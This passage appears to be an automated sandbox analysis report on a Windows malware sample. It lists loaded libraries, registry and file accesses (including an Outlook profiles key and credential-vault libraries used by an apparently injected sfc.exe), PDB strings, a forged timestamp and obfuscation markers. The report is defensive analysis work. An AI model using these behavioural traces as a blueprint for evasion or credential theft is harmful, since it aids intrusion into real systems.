Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: microsoft.management.infrastructure.native.unmanaged.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wmidcom.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: fastprox.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: ncobjapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mpclient.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: wmitomi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: NdYuOgHbM9.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: NdYuOgHbM9.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: NdYuOgHbM9.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: mscorlib.pdbMZ source: WER943D.tmp.dmp.9.dr
Source: Binary string: Microsoft.VisualBasic.ni.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: ngen.pdb source: sfc.exe, 0000000C.00000002.4093679938.000000000379C000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4091957268.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.000000000332C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2130456184.000000001A6AC000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: System.pdb` source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.ni.pdbRSDS source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Windows.Forms.ni.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: wntdll.pdbUGP source: ngen.exe, 00000005.00000002.1848086680.0000000005700000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 0000000C.00000002.4092885357.0000000003170000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 0000000C.00000003.1849713302.0000000002FC0000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 0000000C.00000003.1847772604.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 0000000C.00000002.4092885357.000000000330E000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: System.Drawing.ni.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: wntdll.pdb source: ngen.exe, ngen.exe, 00000005.00000002.1848086680.0000000005700000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, sfc.exe, 0000000C.00000002.4092885357.0000000003170000.00000040.00001000.00020000.00000000.sdmp, sfc.exe, 0000000C.00000003.1849713302.0000000002FC0000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 0000000C.00000003.1847772604.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, sfc.exe, 0000000C.00000002.4092885357.000000000330E000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: sfc.pdbGCTL source: ngen.exe, 00000005.00000002.1847926282.00000000052A7000.00000004.00000020.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 0000000B.00000002.4092313230.0000000000D0E000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.ni.pdbRSDS7^3l source: WER943D.tmp.dmp.9.dr
Source: Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Drawing.ni.pdbRSDS source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: Microsoft.VisualBasic.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Core.ni.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Windows.Forms.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: mscorlib.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Windows.Forms.ni.pdbRSDS source: WER943D.tmp.dmp.9.dr
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 0000000B.00000002.4092220680.0000000000B1E000.00000002.00000001.01000000.00000007.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000000.1911809244.0000000000B1E000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: System.Drawing.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: mscorlib.ni.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Core.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: sfc.pdb source: ngen.exe, 00000005.00000002.1847926282.00000000052A7000.00000004.00000020.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 0000000B.00000002.4092313230.0000000000D0E000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.ni.pdb source: WER943D.tmp.dmp.9.dr
Source: Binary string: System.Core.ni.pdbRSDS source: WER943D.tmp.dmp.9.dr
Binary contains a suspicious time stamp
Source: NdYuOgHbM9.exe Static PE information: 0x8ECA66DD [Thu Nov 30 04:34:37 2045 UTC]
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Code function: 0_2_00007FFD9B8A7967 push ebx; retf 0_2_00007FFD9B8A796A
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Code function: 0_2_00007FFD9B8A752B push ebx; iretd 0_2_00007FFD9B8A756A
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Code function: 0_2_00007FFD9B98026B push esp; retf 4810h 0_2_00007FFD9B980312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0041414A push edi; ret 5_2_0041414B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0040216F push cs; ret 5_2_0040217D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_00411279 push eax; ret 5_2_004112A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_00417A13 pushfd ; iretd 5_2_00417A15
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_00411283 push eax; ret 5_2_004112A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_004053DE push edx; ret 5_2_004053E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_00423383 push esi; iretd 5_2_0042339B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_00403550 push eax; ret 5_2_00403552
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0040CD07 push edi; retf 5_2_0040CD0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0041DD80 pushad ; ret 5_2_0041DD81
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057309AD push ecx; mov dword ptr [esp], ecx 5_2_057309B6
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031A09AD push ecx; mov dword ptr [esp], ecx 12_2_031A09B6
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A9B2DE push cs; iretd 12_2_02A9B2DF
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A9B14F push es; iretd 12_2_02A9B15B
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02AA24E9 push ds; ret 12_2_02AA24F4
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A944C0 pushfd ; iretd 12_2_02A944C2
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A8DB32 push F61E88C4h; retf 12_2_02A8DB3A
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A9A82D pushad ; ret 12_2_02A9A82E
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A81E8B push edx; ret 12_2_02A81E8D
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A9FE30 push esi; iretd 12_2_02A9FE48
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A9FD83 push esi; iretd 12_2_02A9FD40
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A9FD2D push esi; iretd 12_2_02A9FD40
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A8DD26 push eax; ret 12_2_02A8DD4F
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A8DD30 push eax; ret 12_2_02A8DD4F

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
